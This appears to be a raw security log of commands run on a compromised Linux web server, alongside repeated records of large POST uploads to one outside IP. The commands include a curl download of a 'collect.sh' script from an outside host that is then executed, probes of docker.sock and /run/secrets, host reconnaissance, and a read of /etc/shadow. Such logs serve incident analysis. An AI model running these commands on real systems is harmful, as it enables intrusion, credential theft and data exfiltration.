2026-10-29 20:03:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/run/docker.sock
2026-10-29 20:03:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /proc/1/root/
2026-10-29 20:03:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /usr/sbin/sshd
2026-10-29 20:03:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /run/secrets
2026-10-29 20:03:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /proc/net/tcp
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashtouch /tmp/.wtest
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /etc/hosts
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashrm -f /tmp/.wtest
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /etc/cron.d /etc/crontab
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /etc/resolv.conf
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/www/html/zz.txt
2026-10-29 20:03:49185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashtouch /var/www/.wtest
2026-10-29 20:03:56185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /run /dev/shm
2026-10-29 20:03:56185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /proc/net/route
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shid
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/collect.sh
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashsh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af beacon
2026-10-29 20:04:07185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashcurl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shegrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shlscpu
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shnproc
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shid -un
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shgetent passwd www-data
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/debian_version /etc/alpine-release /etc/redhat-release
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shuname -r
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shuname -m
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shgetconf LONG_BIT
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/os-release
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shid
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shuname -a
2026-10-29 20:04:12185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shwhoami
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shlsblk
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shdf -iP
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shdf -hP
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shegrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfree -m
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfree -h
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou
2026-10-29 20:04:17185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s
2026-10-29 20:04:22185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n
2026-10-29 20:04:31185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashps -ef
2026-10-29 20:04:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af collect
2026-10-29 20:04:37185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af beacon
2026-10-29 20:04:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/*.tsv /tmp/meta.tsv
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/resolv.conf
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/hosts
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /proc/net/arp
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /proc/net/tcp /proc/net/tcp6
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /proc/net/udp /proc/net/udp6
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shhostname -I
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /proc/net/route
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shtimeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print
2026-10-29 20:04:46185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB senttimeout -> timeoutsh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${
2026-10-29 20:04:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shcat /etc/shadow
